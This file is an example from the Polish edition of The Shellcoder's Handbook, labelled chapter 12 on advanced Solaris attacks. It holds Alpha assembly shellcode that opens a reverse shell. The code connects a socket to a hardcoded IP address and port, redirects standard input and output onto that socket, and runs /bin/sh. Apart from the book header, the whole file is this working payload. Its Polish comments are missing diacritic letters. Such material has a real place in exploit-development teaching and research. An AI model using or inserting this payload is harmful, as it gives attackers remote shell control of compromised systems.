/*

The Shellcoder's Handbook. Edycja polska
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, 
Sinan Eren, Neel Mehta, Riley Hassell
Wydawnictwo Helion


Rozdzia 12
Zaawansowane metody wama w systemie Solaris
Przykad 9

Komentarze i uwagi prosz przesya na adres jack@infosecinstitute.com 
lub za porednictwem witryny http://www.infosecinstitute.com 

*/

#include <alpha/regdef.h>
#include <alpha/pal.h>
     .text
     .arch     generic
     .align 4
     .globl  main
     .ent      main
main:
     .frame  $sp, 0, $26
                    #cakowity rozmiar 148 bajtw.
                                 #xorloop przekae nam pc w rejestrze a0,

     bic  sp, 0xf, sp               #gwarantuje, e stos jest wyrwnany do granicy 16 byte bajtw.
     addq a0, 0x70, s1         #adres sockaddr_in
     addq a0, 0x88, s4         #adres acucha  //bin/sh     
     stq  s4, (sp)                  #odkada adres acucha //bin/sh
     stq  zero, 8(sp)
     
     mov  0x2, a0               #AF_INET
     mov  0x1, a1               #SOCK_STREAM
     bis  zero, zero, a2       #0
     addq zero, 0x61, v0       #wywoanie systemowe socket
     PAL_callsys
     mov  v0, s0               #zachowuje numer gniazda.
     
     mov  s0, a0               #numer gniazda
     mov  s1, a1               #adres sockaddr_in
     mov  0x10, a2              #rozmiar sockaddr_in wynosi 16
             addq zero, 0x62, v0       #wywoanie systemowe connect
     PAL_callsys


     mov 0x2, s2
duploop:     
     mov  s0, a0               #numer gniazda.
     mov  s2, a1               #stdin, stdout, stderr.
             addq zero, 0x5a, v0       #wywoanie systemowe dup2.
     PAL_callsys
     subq s2, 0x1, s2          #zmniejsza licznik.
     bge  s2, duploop          #ptla dla 2,1,0 (stderr, stdout, stdin).
     
     mov  s4, a0               #adres acucha //bin/sh
     mov  sp, a1              #adres (adresu acucha //bin/sh)
     bis  zero, zero, a2       #NULL
             addq zero, 0x3b, v0       #wywoanie systemowe execve 
     PAL_callsys

.long   0x901f0002                     #numer portu
.long   0x0100007f                      #adres ip
.long   0x00000000      
.long   0x00000000
.long   0x10
.long   0x00000000
.quad   0x68732f6e69622f2f
.long   0x00000000
     .end      main
